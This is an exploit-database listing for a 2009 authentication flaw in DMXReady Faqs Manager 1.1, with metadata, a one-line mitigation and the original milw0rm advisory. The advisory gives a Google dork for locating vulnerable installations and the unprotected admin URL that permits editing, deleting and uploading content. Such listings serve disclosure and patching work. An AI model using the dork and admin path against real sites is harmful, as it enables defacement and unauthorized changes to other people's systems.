DMXReady Faqs Manager - exploit.company

vendor:

Faqs Manager

by:

ajann

7.5

CVSS

HIGH

Remote Contents Change Vulnerability

264

CWE

Product Name: Faqs Manager

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: YES

Related CWE: N/A

CPE: a:dmxready:faqs_manager

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

DMXReady Faqs Manager <= 1.1 Remote Contents Change Vulnerability

DMXReady Faqs Manager version 1.1 is vulnerable to remote contents change vulnerability. An attacker can exploit this vulnerability to gain access to the application and modify the contents of the application.

Mitigation:

Update to the latest version of DMXReady Faqs Manager

Source

Exploit-DB raw data:

*******************************************************************************
# Title   :  DMXReady Faqs Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  24.97 $
# Dork    :  inurl:inc_faqsmanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_faqsmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]//admin/FaqsManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/FaqsManager/inc_faqsmanager.asp
Edit  ->    http://[target]/[path]//admin/FaqsManager/add_category.asp

 :)

# milw0rm.com [2009-01-14]